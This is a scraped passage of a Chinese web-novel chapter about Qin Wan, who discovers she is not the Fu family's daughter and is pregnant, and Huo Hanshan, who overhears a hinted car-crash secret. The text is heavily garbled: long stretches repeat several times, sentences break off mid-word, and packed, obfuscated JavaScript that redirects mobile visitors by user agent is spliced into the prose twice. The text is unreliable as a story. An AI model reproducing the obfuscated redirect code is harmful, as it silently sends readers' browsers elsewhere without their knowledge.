最后映入眼帘的,是傅修沉冷漠转身的背影,和明嫣平静无波的眼神。 然后,黑暗吞噬了一切。 她头一歪,彻底失去了意识。 …… 秦婉是在一股浓烈的消毒水气味中恢复意识的。 眼皮沉得像灌了铅,她费力地睁开,视线模糊了好一阵,才看清头顶惨白的天花板,和悬挂着的输液瓶。 是在医院。 她动了动,浑身像散了架似的疼,尤其是脸,火辣辣的。 记忆潮水般涌回。 “啊——!!!” 她猛地从病床上弹坐起来,发出一声凄厉的尖叫,双手疯狂地撕扯着自己的头发和身上的病号服。 “假的!都是假的!我是傅家大小姐!我是!我是傅承平的女儿!我不是**犯的种!不是!!!” “婉儿!婉儿你冷静点!”秦晓林扑到床边,试图按住疯狂挣扎的女儿。 她眼睛红肿,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823344|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然哭了很久,脸色憔悴不堪。 “妈!”秦婉像是抓住了救命稻草,反手死死攥住秦晓林的手腕,指甲几乎掐进她肉里,“妈你告诉我!那些都是假的!是明嫣那个**伪造的!对不对?!我是傅承平的女儿!是你和傅承平生的!对不对?!你说啊!!!” 她声音嘶哑,眼神癫狂,死死盯着秦晓林,仿佛要从她脸上盯出一个肯定的答案。 秦晓林被她掐得生疼,眼泪又涌了上来。 “婉儿……你……你先别激动,你身上还有伤……”她试图安抚。 “我问你话!”秦婉猛地甩开她的手,声音拔高,尖锐刺耳,“我到底是谁的女儿?!你说!你说啊!!!” 秦晓林被她吼得浑身一颤,嘴唇哆嗦着,眼泪大颗大颗往下掉。 她垂下眼,不敢看女儿疯狂的眼睛,喉咙里挤出破碎的音节:“婉儿……是妈妈对不起你……是妈妈……” “我要听的不是这个!”秦婉歇斯底里地打断她,抓住她的肩膀用力摇晃,“我要你告诉我,我是傅承平的女儿!我是傅家的大小姐!你说!你说我是!!” 秦晓林被她摇得头晕目眩,终于崩溃,哭出声:“婉儿……你别逼妈妈了……” “轰——!” 最后一丝侥幸被彻底碾碎。 秦婉僵在原地,抓着她肩膀的手无力地滑落。 她呆呆地看着秦晓林。 不是假的。 明嫣没伪造。 傅修沉没冤枉她。 她秦婉,真的不是傅家的种。 她是赵老四这个**犯、下三滥的私生女。 一个冒牌货。 一个笑话。 “哈哈……哈哈哈……”她忽然低低地笑起来,笑声一开始很轻,随即越来越大,越来越尖利,充满了疯狂和绝望,“哈哈哈……我是**犯的女儿……哈哈哈……傅家大小姐?我他妈是个野种!是个没人要的野种!!!” “婉儿!你别这样!”秦晓林连忙安抚她,“你冷静点!冷静点!你还怀着孩子啊!” “孩子?”秦婉笑声戛然而止。 她缓缓转过头,眼神空洞地看着秦晓林:“什么孩子?” 想抓住什么根本不存在的救命稻草。 就在被拖出客厅大门,即将投入外面凛冽寒风中的瞬间—— 秦婉猛地瞪大眼睛,胸口像是被巨石狠狠砸中,一口气卡在喉咙里,上不来,下不去。 她张着嘴,像条离水的鱼,徒劳地翕动着。 眼前阵阵发黑。 最后映入眼帘的,是傅修沉冷漠转身的背影,和明嫣平静无波的眼神。 然后,黑暗吞噬了一切。 她头一歪,彻底失去了意识。 …… 秦婉是在一股浓烈的消毒水气味中恢复意识的。 眼皮沉得像灌了铅,她费力地睁开,视线模糊了好一阵,才看清头顶惨白的天花板,和悬挂着的输液瓶。 是在医院。 她动了动,浑身像散了架似的疼,尤其是脸,火辣辣的。 记忆潮水般涌回。 “啊——!!!” 她猛地从病床上弹坐起来,发出一声凄厉的尖叫,双手疯狂地撕扯着自己的头发和身上的病号服。 “假的!都是假的!我是傅家大小姐!我是!我是傅承平的女儿!我不是**犯的种!不是!!!” “婉儿!婉儿你冷静点!”秦晓林扑到床边,试图按住疯狂挣扎的女儿。 她眼睛红肿,显然哭了很久,脸色憔悴不堪。 “妈!”秦婉像是抓住了救命稻草,反手死死攥住秦晓林的手腕,指甲几乎掐进她肉里,“妈你告诉我!那些都是假的!是明嫣那个**伪造的!对不对?!我是傅承平的女儿!是你和傅承平生的!对不对?!你说啊!!!” 她声音嘶哑,眼神癫狂,死死盯着秦晓林,仿佛要从她脸上盯出一个肯定的答案。 秦晓林被她掐得生疼,眼泪又涌了上来。 “婉儿……你……你先别激动,你身上还有伤……”她试图安抚。 “我问你话!”秦婉猛地甩开她的手,声音拔高,尖锐刺耳,“我到底是谁的女儿?!你说!你说啊!!!” 秦晓林被她吼得浑身一颤,嘴唇哆嗦着,眼泪大颗大颗往下掉。 她垂下眼,不敢看女儿疯狂的眼睛,喉咙里挤出破碎的音节:“婉儿……是妈妈对不起你……是妈妈……” “我要听的不是这个!”秦婉歇斯底里地打断她,抓住她的肩膀用力摇晃,“我要你告诉我,我是傅承平的女儿!我是傅家的大小姐!你说!你说我是!!” 秦晓林被她摇得头晕目眩,终于崩溃,哭出声:“婉儿……你别逼妈妈了……” “轰——!” 最后一丝侥幸被彻底碾碎。 秦婉僵在原地,抓着她肩膀的手无力地滑落。 她呆呆地看着秦晓林。 不是假的。 明嫣没伪造。 傅修沉没冤枉她。 她秦婉,真的不是傅家的种。 她是赵老四这个**犯、下三滥的私生女。 一个冒牌货。 一个笑话。 “哈哈……哈哈哈……”她忽然低低地笑起来,笑声一开始很轻,随即越来越大,越来越尖利,充满了疯狂和绝望,“哈哈哈……我是**犯的女儿……哈哈哈……傅家大小姐?我他妈是个野种!是个没人要的野种!!!” “婉儿!你别这样!”秦晓林连忙安抚她,“你冷静点!冷静点!你还怀着孩子啊!” “孩子?”秦婉笑声戛然而止。 她缓缓转过头,眼神空洞地看着秦晓林:“什么孩子?” 想抓住什么根本不存在的救命稻草。 就在被拖出客厅大门,即将投入外面凛冽寒风中的瞬间—— 秦婉猛地瞪大眼睛,胸口像是被巨石狠狠砸中,一口气卡在喉咙里,上不来,下不去。 她张着嘴,像条离水的鱼,徒劳地翕动着。 眼前阵阵发黑。 最后映入眼帘的,是傅修沉冷漠转身的背影,和明嫣平静无波的眼神。 然后,黑暗吞噬了一切。 她头一歪,彻底失去了意识。 …… 秦婉是在一股浓烈的消毒水气味中恢复意识的。 眼皮沉得像灌了铅,她费力地睁开,视线模糊了好一阵,才看清头顶惨白的天花板,和悬挂着的输液瓶。 是在医院。 她动了动,浑身像散了架似的疼,尤其是脸,火辣辣的。 记忆潮水般涌回。 “啊——!!!” 她猛地从病床上弹坐起来,发出一声凄厉的尖叫,双手疯狂地撕扯着自己的头发和身上的病号服。 “假的!都是假的!我是傅家大小姐!我是!我是傅承平的女儿!我不是**犯的种!不是!!!” “婉儿!婉儿你冷静点!”秦晓林扑到床边,试图按住疯狂挣扎的女儿。 她眼睛红肿,显然哭了很久,脸色憔悴不堪。 “妈!”秦婉像是抓住了救命稻草,反手死死攥住秦晓林的手腕,指甲几乎掐进她肉里,“妈你告诉我!那些都是假的!是明嫣那个**伪造的!对不对?!我是傅承平的女儿!是你和傅承平生的!对不对?!你说啊!!!” 她声音嘶哑,眼神癫狂,死死盯着秦晓林,仿佛要从她脸上盯出一个肯定的答案。 秦晓林被她掐得生疼,眼泪又涌了上来。 “婉儿……你……你先别激动,你身上还有伤……”她试图安抚。 “我问你话!”秦婉猛地甩开她的手,声音拔高,尖锐刺耳,“我到底是谁的女儿?!你说!你说啊!!!” 秦晓林被她吼得浑身一颤,嘴唇哆嗦着,眼泪大颗大颗往下掉。 她垂下眼,不敢看女儿疯狂的眼睛,喉咙里挤出破碎的音节:“婉儿……是妈妈对不起你……是妈妈……” “我要听的不是这个!”秦婉歇斯底里地打断她,抓住她的肩膀用力摇晃,“我要你告诉我,我是傅承平的女儿!我是傅家的大小姐!你说!你说我是!!” 秦晓林被她摇得头晕目眩,终于崩溃,哭出声:“婉儿……你别逼妈妈了……” “轰——!” 最后一丝侥幸被彻底碾碎。 秦婉僵在原地,抓着她肩膀的手无力地滑落。 她呆呆地看着秦晓林。 不是假的。 明嫣没伪造。 傅修沉没冤枉她。 她秦婉,真的不是傅家的种。 她是赵老四这个**犯、下三滥的私生女。 一个冒牌货。 一个笑话。 “哈哈……哈哈哈……”她忽然低低地笑起来,笑声一开始很轻,随即越来越大,越来越尖利,充满了疯狂和绝望,“哈哈哈……我是**犯的女儿……哈哈哈……傅家大小姐?我他妈是个野种!是个没人要的野种!!!” “婉儿!你别这样!”秦晓林连忙安抚她,“你冷静点!冷静点!你还怀着孩子啊!” “孩子?”秦婉笑声戛然而止。 她缓缓转过头,眼神空洞地看着秦晓林:“什么孩子?” 第206章 车祸真相!(二合一大章) 病房里的空气凝滞了几秒。 秦婉的瞳孔一点点缩紧,她缓缓低头,看向自己平坦的小腹。 “孩……子?”她重复着这两个字,声音轻飘飘的,像是不认识。 秦晓林连忙点头,抓住她的手,急切道:“是啊!婉儿!你怀孕了!” 秦婉像是没听见她后面的话,只是死死盯着自己的肚子。 怀孕? 她竟然……怀孕了? 什么时候的事? 混乱的大脑让她一时间无法思考,胃里一阵翻搅,恶心得想吐。 而就在这时—— “寒山?” 秦晓林冷不丁看见僵在门口的霍寒山,连忙起身迎接,“你是来看婉儿的吗?” 秦婉看万万没想到霍寒山竟然会来看自己,满脸希冀地抬眼望去。 只见霍寒山站在病房门口,手里还握着门把手。 门开了一条缝,不宽,刚好够他把里头的话听个一字不漏。 他脸上没什么表情。 来之前,他心里是松的,像卸了块石头。 傅家那场闹剧传得风风雨雨,秦婉不是傅家的女儿,是赵老四的孩子——这消息砸下来,他第一反应不是惊,是解脱。 他甚至没立刻来医院,拖到天擦黑,才慢腾腾过来。 不是探病,是来划清界限的。 可脚还没踏进去,就听见里头秦晓林那句‘婉儿,你怀孕了!’ 霍寒山手指一僵。 怀孕? 他脑子里嗡的一声,像有什么东西炸了,炸得他耳膜嗡嗡响,眼前都晃了一下。 秦婉她……怀孕了? 什么时候的事? 他跟她……只有那一次。 就是他被下药,神志不清把她当成明嫣的那次。 之后他连碰都没碰过她。 就那一次。 就那一次能怀上? 霍寒山喉结滚了滚,嗓子眼发干。 “寒山!” 秦婉满脸的激动,几乎是连滚带爬地从病床上扑下来,她光着脚,踉跄着冲到霍寒山面前,一把死死抱住了他的腰。 “寒山!你听到了吗?我怀孕了!我有了你的孩子!” 她把脸埋在他胸前,眼泪汹涌而出。 “你别不要我……求求你了……我以后会乖乖的,什么都听你的……你看在孩子的份上,别丢下我……我只有你了……我真的只有你了……” 她哭得上气不接下气,声音嘶哑 破碎。 那副样子,可怜又卑微。 全然没了往日的骄纵和跋扈。 霍寒山被她抱着,身体僵硬得像块石头。 他垂在身侧的手,手指蜷缩了一下,又慢慢松开。 他想推开她。 可听到她嘴里反复念叨的‘孩子’,却让他抬不起手。 秦晓林也走了过来,红着眼圈,小心翼翼地看着霍寒山,“寒山……你看,婉儿她都有你的骨肉了……这孩子来得不容易,也是缘分。你……你不是那种不负责任的人,你既然答应了要娶婉儿,就不会食言的,是吧,寒山?” 她每说一句,霍寒山的下颌线就更绷紧一分。 不会食言? 负责任? 这些字眼像针一样扎着他。 喉咙像是被什么堵住了,又干又涩。 他能说什么? 说这个孩子他根本不想要? 说这场婚姻从一开始就是一场算计和胁迫? 说他恨不得立刻摆脱这对母女,摆脱这一切? 霍寒山的脑海里,不受控制地闪过明嫣那双清冷平静的眼睛。 如果他真的这样做了,明嫣会怎么看他? 会不会觉得,他果然是个彻头彻尾的渣滓,连最后一点担当都没有? 这个念头比任何道德**都更让他难以忍受。 他闭了闭眼,再睁开时,眼底只剩下深深的疲惫和一种认命般的麻木。 他几不可察地,极轻地,点了一下头。 从喉咙里挤出一个字:“……嗯。” 声音低哑,几乎听不见。 秦晓林见状,脸上不由得露出一丝笑容,拍了拍秦婉的手背,声音放柔:“好了婉儿,别哭了,寒山他心疼你呢,怎么会不要你?快回床上躺着,小心身子。” 秦婉被秦晓林半扶半拽地弄回床上,眼睛却一直没离开霍寒山。 见他始终绷着脸不说话,她心里还是慌,手指揪着被角,“寒山……你留下来陪我好不好?” 霍寒山闭了闭眼,再睁开时,眼底只剩下疲惫。 “……你好好休息。”他声音干涩,终于吐出一句话,“我律所还有事。” 说完,不等秦婉反应,他转身就走,脚步很快,几乎有些仓皇。 “寒山!”秦婉在他身后急急地喊了一声。 霍寒山脚步未停,径直拉开病房门,走了出去。 走廊里空荡安静。 霍寒山靠在冰冷的墙壁上,抬手用力扯 松了领带,才觉得那令人窒息的压迫感稍稍缓解。 他大口喘着气,胸口闷得发疼。 孩子…… 他烦躁地耙了耙头发,眼神阴沉得能滴出水。 怎么会在这个时候有孩子? 他深吸了一口气,下意识地回眸看了一眼病房的方向,这才大踏步地离开。 …… 而此时的病房内。 霍寒山一走,秦婉不由得低头,看着自己依旧平坦的小腹,手指轻轻覆了上去。 眼神复杂。 有茫然,有后怕,还有一丝……连她自己都不愿深究的庆幸。 幸好。 幸好有了这个孩子。 这是她最后的筹码了。 秦晓林关好门,走回床边,脸上的泪痕还没干,眼神却已经带上了惯有的精明和算计。 她在床边坐下,压低声音,语气带着小心翼翼的试探: “婉儿……你跟妈说实话。” 她顿了顿,视线落在秦婉的小腹上,“那天晚上……在工厂……之后,你……你有没有及时吃药?” 秦婉的身体几不可察地僵了一下。 “妈!你胡说什么呢!”她声音拔高,带着恼怒,“我当然吃了!那种药……我怎么可能不吃!” “真的吃了?”秦晓林追问,声音压得更低,“你确定?没记错?那种紧急的药,二十四小时内有效,你确定你是按时吃的?” “我说吃了就是吃了!”秦婉烦躁地打断她,“妈,你能不能别胡思乱想?孩子就是寒山的!” 秦晓林被她吼得愣了一下,随即抿紧了嘴唇,没再追问。 现在最重要的是稳住霍寒山,牢牢抓住这根救命稻草。 秦晓林深吸一口气,重新握住秦婉的手,语气放柔: “好了好了,妈不问了。你别激动,小心身子。” 她拍了拍秦婉的手背,眼神里闪过一丝狠色:“霍寒山现在律师所越开越大,名声越来越响,听说已经在准备上市的材料了。只要你能嫁给他,牢牢坐稳霍太太的位置,以后还愁什么?荣华富贵,都是你的!” “等孩子生下来,尤其是男孩,你这辈子就彻底稳了!就算没有傅家千金小姐这个身份,也不会差到哪里去的!” 秦婉听着母亲的话,眼底那点茫然渐渐被亮光取代。 对。 妈妈说得对。 她还有孩子。 这是她翻身的唯一机会。 霍寒山现在就是 她唯一的浮木,她必须死死抓住。 不管用什么方法。 她抬手,轻轻抚摸着自己的小腹,“妈,你放心。我知道该怎么做。” 秦晓林看着她这副样子,心里稍微安定了些,但眼底深处那缕忧虑,却始终挥之不去。 她忍不住又看了一眼那张检测报告。 孕四周。 时间…… 真的太巧了。 希望…… 只是她想多了。 …… 而此时的霍寒山心烦意乱地往车上走,还没等开门,就听见手机震动了起来。 他下意识扫了一眼来电显示,眉头不由得微微蹙起,这才摁下了接听键。 “喂,妈……” “寒山!你在哪儿呢?” 霍寒山有些不耐烦的皱眉,“怎么了?有什么事儿吗?” 王梅的声音又急又尖,穿透力十足,“寒山,你听说没有?就秦婉那丫头的事!傅家都不要她了!外面传得可难听了,说她根本不是傅家的种,是她妈跟那个什么……那个**犯赵老四的野种!哎哟,我这老脸都没处搁!” 霍寒山闭了闭眼,额角青筋突突地跳。 “妈你到底想说什么?” “说什么?这还不明白?”王梅拔高了调子,“这婚赶紧取消啊!这种不清不白的女人,还背着那种名声,娶进门,咱们霍家的脸往哪儿放?你以后在律政圈还怎么混?” 霍寒山扯了扯嘴角,一点笑意也没有,全是冰冷的自嘲。 当初是谁,一听秦婉是傅家千金,眼睛都亮了? 是谁口口声声说攀上傅家,前途无量,逼着他点头,连入赘都答应得飞快? 现在倒成了‘不清不白’了。 “妈,”他打断王梅的滔滔不绝,声音冷了下去,“这婚是您当初极力促成的。现在说取消就取消?” “那能一样吗!”王梅急了,“谁知道她是那种出身?傅家都不要她了!寒山,妈可都是为了你好!你现在事业正好,可不能被这种女人拖累了!对了——” 她话锋一转,语气忽然带了点热切,又有点试探,“妈听说,明嫣那丫头,现在在魔都开了家律所分所,做得还挺像样。说起来,她跟你才是真正的门当户对。模样好,能力强,家世……虽说现在明家不如从前,但瘦死的骆驼比马大。她以前不是挺喜欢你的吗?你去跟她好好说说,认个错,态度软和点。女人嘛,心都软,说不定……” “妈!”霍寒山厉声喝断,胸 口那股浊气几乎要冲出来。 他握着手机的手指用力到指节泛白。 王梅被他吼得一愣。 “够了。”霍寒山的声音从牙缝里挤出来,带着压抑到极致的怒和某种深切的疲惫,“当初对明嫣爱答不理的人是你,现在觉得她比秦婉好的人也是你。你到底想要干什么?” “我……我这不是为你好嘛!”王梅抿了抿唇,“我跟你说,秦婉那丫头无论如何都不能再让她进门了,她……” 霍寒山喘了口气,喉咙干得发疼,冷声打断她,“秦婉怀孕了。” 电话那头死寂了几秒。 王梅的声音像是卡住了,好半天才重新响起,调子都变了:“……什么?怀、怀孕了?这……这……” 她显然被这个消息砸懵了,语无伦次:“怎么……怎么这时候……哎呀!这孩子来得可真不是时候!” 霍寒山几乎能想象出她此刻拧着眉头的模样。 果然,王梅的声音很快又稳了下来,“既然怀上了,那……那就赶紧结婚吧!越快越好!省得到时候肚子大了,让外人指手画脚的,再说了,这孩子到底是咱们老霍家的苗,不能流落在外头。寒山,听妈的,这事儿不能拖了。婚礼简单点办也行,先别领证,省得到时候跟明嫣那次似的半路出什么幺蛾子,你先把秦婉稳住了再说。” 霍寒山听了却只想笑。 上次的婚礼,是王梅拼命压着他的户口本,不让他跟明嫣领证结婚,结果…… 他有时候甚至还在想,如果那时候,他跟明嫣领了证,是不是跟现在是不一样的结果? 而此时的王梅顿了顿,自顾自地继续说道,“还有,你好好对人家秦婉,她现在怀着孩子,情绪不稳,你多顺着她点。对了,你去帮我问问,秦婉她晚饭想吃什么?妈好让家里的阿姨准备着,给她送去。她现在可金贵着呢,得好好伺候着。” 霍寒山听着电话里母亲瞬间转换的态度,他连冷笑的力气都没了。 “知道了。”他声音平平地应了一句,没再多说一个字,直接掐断了电话。 忙音响起。 霍寒山维持着举着手机的姿势,在空荡的地下停车场里站了很久。 凉意透过西装布料渗进来,他却感觉不到。 只觉得累。 一种从骨头缝里渗出来的疲惫,混着无处发泄的烦躁和恶心。 他转身,步履有些沉重地朝电梯走去。 脚步却在经过秦婉病房门口时,不由自主地顿了一下。 门虚掩着,里面隐约传出说话声。 是秦婉和秦晓林。 霍寒山本不欲多听,正要推开门时,却听见秦婉略带忐忑的嗓音清晰地钻进了他的耳朵—— “妈……你说,如果寒山知道了当年车祸的真相……他会不会不要我了?” 霍寒山脚步猛地钉在原地。 血液仿佛在瞬间冻结,又轰然冲向头顶。 他下意识地屏住了呼吸。 什么车祸真相? 口那股浊气几乎要冲出来。 他握着手机的手指用力到指节泛白。 王梅被他吼得一愣。 “够了。”霍寒山的声音从牙缝里挤出来,带着压抑到极致的怒和某种深切的疲惫,“当初对明嫣爱答不理的人是你,现在觉得她比秦婉好的人也是你。你到底想要干什么?” “我……我这不是为你好嘛!”王梅抿了抿唇,“我跟你说,秦婉那丫头无论如何都不能再让她进门了,她……” 霍寒山喘了口气,喉咙干得发疼,冷声打断她,“秦婉怀孕了。” 电话那头死寂了几秒。 王梅的声音像是卡住了,好半天才重新响起,调子都变了:“……什么?怀、怀孕了?这……这……” 她显然被这个消息砸懵了,语无伦次:“怎么……怎么这时候……哎呀!这孩子来得可真不是时候!” 霍寒山几乎能想象出她此刻拧着眉头的模样。 果然,王梅的声音很快又稳了下来,“既然怀上了,那……那就赶紧结婚吧!越快越好!省得到时候肚子大了,让外人指手画脚的,再说了,这孩子到底是咱们老霍家的苗,不能流落在外头。寒山,听妈的,这事儿不能拖了。婚礼简单点办也行,先别领证,省得到时候跟明嫣那次似的半路出什么幺蛾子,你先把秦婉稳住了再说。” 霍寒山听了却只想笑。 上次的婚礼,是王梅拼命压着他的户口本,不让他跟明嫣领证结婚,结果…… 他有时候甚至还在想,如果那时候,他跟明嫣领了证,是不是跟现在是不一样的结果? 而此时的王梅顿了顿,自顾自地继续说道,“还有,你好好对人家秦婉,她现在怀着孩子,情绪不稳,你多顺着她点。对了,你去帮我问问,秦婉她晚饭想吃什么?妈好让家里的阿姨准备着,给她送去。她现在可金贵着呢,得好好伺候着。” 霍寒山听着电话里母亲瞬间转换的态度,他连冷笑的力气都没了。 “知道了。”他声音平平地应了一句,没再多说一个字,直接掐断了电话。 忙音响起。 霍寒山维持着举着手机的姿势,在空荡的地下停车场里站了很久。 凉意透过西装布料渗进来,他却感觉不到。 只觉得累。 一种从骨头缝里渗出来的疲惫,混着无处发泄的烦躁和恶心。 他转身,步履有些沉重地朝电梯走去。 脚步却在经过秦婉病房门口时,不由自主地顿了一下。 门虚掩着,里面隐约传出说话声。 是秦婉和秦晓林。 霍寒山本不欲多听,正要推开门时,却听见秦婉略带忐忑的嗓音清晰地钻进了他的耳朵—— “妈……你说,如果寒山知道了当年车祸的真相……他会不会不要我了?” 霍寒山脚步猛地钉在原地。 血液仿佛在瞬间冻结,又轰然冲向头顶。 他下意识地屏住了呼吸。 什么车祸真相? 口那股浊气几乎要冲出来。 他握着手机的手指用力到指节泛白。 王梅被他吼得一愣。 “够了。”霍寒山的声音从牙缝里挤出来,带着压抑到极致的怒和某种深切的疲惫,“当初对明嫣爱答不理的人是你,现在觉得她比秦婉好的人也是你。你到底想要干什么?” “我……我这不是为你好嘛!”王梅抿了抿唇,“我跟你说,秦婉那丫头无论如何都不能再让她进门了,她……” 霍寒山喘了口气,喉咙干得发疼,冷声打断她,“秦婉怀孕了。” 电话那头死寂了几秒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834395|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王梅的声音像是卡住了,好半天才重新响起,调子都变了:“……什么?怀、怀孕了?这……这……” 她显然被这个消息砸懵了,语无伦次:“怎么……怎么这时候……哎呀!这孩子来得可真不是时候!” 霍寒山几乎能想象出她此刻拧着眉头的模样。 果然,王梅的声音很快又稳了下来,“既然怀上了,那……那就赶紧结婚吧!越快越好!省得到时候肚子大了,让外人指手画脚的,再说了,这孩子到底是咱们老霍家的苗,不能流落在外头。寒山,听妈的,这事儿不能拖了。婚礼简单点办也行,先别领证,省得到时候跟明嫣那次似的半路出什么幺蛾子,你先把秦婉稳住了再说。” 霍寒山听了却只想笑。 上次的婚礼,是王梅拼命压着他的户口本,不让他跟明嫣领证结婚,结果…… 他有时候甚至还在想,如果那时候,他跟明嫣领了证,是不是跟现在是不一样的结果? 而此时的王梅顿了顿,自顾自地继续说道,“还有,你好好对人家秦婉,她现在怀着孩子,情绪不稳,你多顺着她点。对了,你去帮我问问,秦婉她晚饭想吃什么?妈好让家里的阿姨准备着,给她送去。她现在可金贵着呢,得好好伺候着。” 霍寒山听着电话里母亲瞬间转换的态度,他连冷笑的力气都没了。 “知道了。”他声音平平地应了一句,没再多说一个字,直接掐断了电话。 忙音响起。 霍寒山维持着举着手机的姿势,在空荡的地下停车场里站了很久。 凉意透过西装布料渗进来,他却感觉不到。 只觉得累。 一种从骨头缝里渗出来的疲惫,混着无处发泄的烦躁和恶心。 他转身,步履有些沉重地朝电梯走去。 脚步却在经过秦婉病房门口时,不由自主地顿了一下。 门虚掩着,里面隐约传出说话声。 是秦婉和秦晓林。 霍寒山本不欲多听,正要推开门时,却听见秦婉略带忐忑的嗓音清晰地钻进了他的耳朵—— “妈……你说,如果寒山知道了当年车祸的真相……他会不会不要我了?” 霍寒山脚步猛地钉在原地。 血液仿佛在瞬间冻结,又轰然冲向头顶。 他下意识地屏住了呼吸。 什么车祸真相? 口那股浊气几乎要冲出来。 他握着手机的手指用力到指节泛白。 王梅被他吼得一愣。 “够了。”霍寒山的声音从牙缝里挤出来,带着压抑到极致的怒和某种深切的疲惫,“当初对明嫣爱答不理的人是你,现在觉得她比秦婉好的人也是你。你到底想要干什么?” “我……我这不是为你好嘛!”王梅抿了抿唇,“我跟你说,秦婉那丫头无论如何都不能再让她进门了,她……” 霍寒山喘了口气,喉咙干得发疼,冷声打断她,“秦婉怀孕了。” 电话那头死寂了几秒。 王梅的声音像是卡住了,好半天才重新响起,调子都变了:“……什么?怀、怀孕了?这……这……” 她显然被这个消息砸懵了,语无伦次:“怎么……怎么这时候……哎呀!这孩子来得可真不是时候!” 霍寒山几乎能想象出她此刻拧着眉头的模样。 果然,王梅的声音很快又稳了下来,“既然怀上了,那……那就赶紧结婚吧!越快越好!省得到时候肚子大了,让外人指手画脚的,再说了,这孩子到底是咱们老霍家的苗,不能流落在外头。寒山,听妈的,这事儿不能拖了。婚礼简单点办也行,先别领证,省得到时候跟明嫣那次似的半路出什么幺蛾子,你先把秦婉稳住了再说。” 霍寒山听了却只想笑。 上次的婚礼,是王梅拼命压着他的户口本,不让他跟明嫣领证结婚,结果…… 他有时候甚至还在想,如果那时候,他跟明嫣领了证,是不是跟现在是不一样的结果? 而此时的王梅顿了顿,自顾自地继续说道,“还有,你好好对人家秦婉,她现在怀着孩子,情绪不稳,你多顺着她点。对了,你去帮我问问,秦婉她晚饭想吃什么?妈好让家里的阿姨准备着,给她送去。她现在可金贵着呢,得好好伺候着。” 霍寒山听着电话里母亲瞬间转换的态度,他连冷笑的力气都没了。 “知道了。”他声音平平地应了一句,没再多说一个字,直接掐断了电话。 忙音响起。 霍寒山维持着举着手机的姿势,在空荡的地下停车场里站了很久。 凉意透过西装布料渗进来,他却感觉不到。 只觉得累。 一种从骨头缝里渗出来的疲惫,混着无处发泄的烦躁和恶心。 他转身,步履有些沉重地朝电梯走去。 脚步却在经过秦婉病房门口时,不由自主地顿了一下。 门虚掩着,里面隐约传出说话声。 是秦婉和秦晓林。 霍寒山本不欲多听,正要推开门时,却听见秦婉略带忐忑的嗓音清晰地钻进了他的耳朵—— “妈……你说,如果寒山知道了当年车祸的真相……他会不会不要我了?” 霍寒山脚步猛地钉在原地。 血液仿佛在瞬间冻结,又轰然冲向头顶。 他下意识地屏住了呼吸。 什么车祸真相? 口那股浊气几乎要冲出来。 他握着手机的手指用力到指节泛白。 王梅被他吼得一愣。 “够了。”霍寒山的声音从牙缝里挤出来,带着压抑到极致的怒和某种深切的疲惫,“当初对明嫣爱答不理的人是你,现在觉得她比秦婉好的人也是你。你到底想要干什么?” “我……我这不是为你好嘛!”王梅抿了抿唇,“我跟你说,秦婉那丫头无论如何都不能再让她进门了,她……” 霍寒山喘了口气,喉咙干得发疼,冷声打断她,“秦婉怀孕了。” 电话那头死寂了几秒。 王梅的声音像是卡住了,好半天才重新响起,调子都变了:“……什么?怀、怀孕了?这……这……” 她显然被这个消息砸懵了,语无伦次:“怎么……怎么这时候……哎呀!这孩子来得可真不是时候!” 霍寒山几乎能想象出她此刻拧着眉头的模样。 果然,王梅的声音很快又稳了下来,“既然怀上了,那……那就赶紧结婚吧!越快越好!省得到时候肚子大了,让外人指手画脚的,再说了,这孩子到底是咱们老霍家的苗,不能流落在外头。寒山,听妈的,这事儿不能拖了。婚礼简单点办也行,先别领证,省得到时候跟明嫣那次似的半路出什么幺蛾子,你先把秦婉稳住了再说。” 霍寒山听了却只想笑。 上次的婚礼,是王梅拼命压着他的户口本,不让他跟明嫣领证结婚,结果…… 他有时候甚至还在想,如果那时候,他跟明嫣领了证,是不是跟现在是不一样的结果? 而此时的王梅顿了顿,自顾自地继续说道,“还有,你好好对人家秦婉,她现在怀着孩子,情绪不稳,你多顺着她点。对了,你去帮我问问,秦婉她晚饭想吃什么?妈好让家里的阿姨准备着,给她送去。她现在可金贵着呢,得好好伺候着。” 霍寒山听着电话里母亲瞬间转换的态度,他连冷笑的力气都没了。 “知道了。”他声音平平地应了一句,没再多说一个字,直接掐断了电话。 忙音响起。 霍寒山维持着举着手机的姿势,在空荡的地下停车场里站了很久。 凉意透过西装布料渗进来,他却感觉不到。 只觉得累。 一种从骨头缝里渗出来的疲惫,混着无处发泄的烦躁和恶心。 他转身,步履有些沉重地朝电梯走去。 脚步却在经过秦婉病房门口时,不由自主地顿了一下。 门虚掩着,里面隐约传出说话声。 是秦婉和秦晓林。 霍寒山本不欲多听,正要推开门时,却听见秦婉略带忐忑的嗓音清晰地钻进了他的耳朵—— “妈……你说,如果寒山知道了当年车祸的真相……他会不会不要我了?” 霍寒山脚步猛地钉在原地。 血液仿佛在瞬间冻结,又轰然冲向头顶。 他下意识地屏住了呼吸。 什么车祸真相?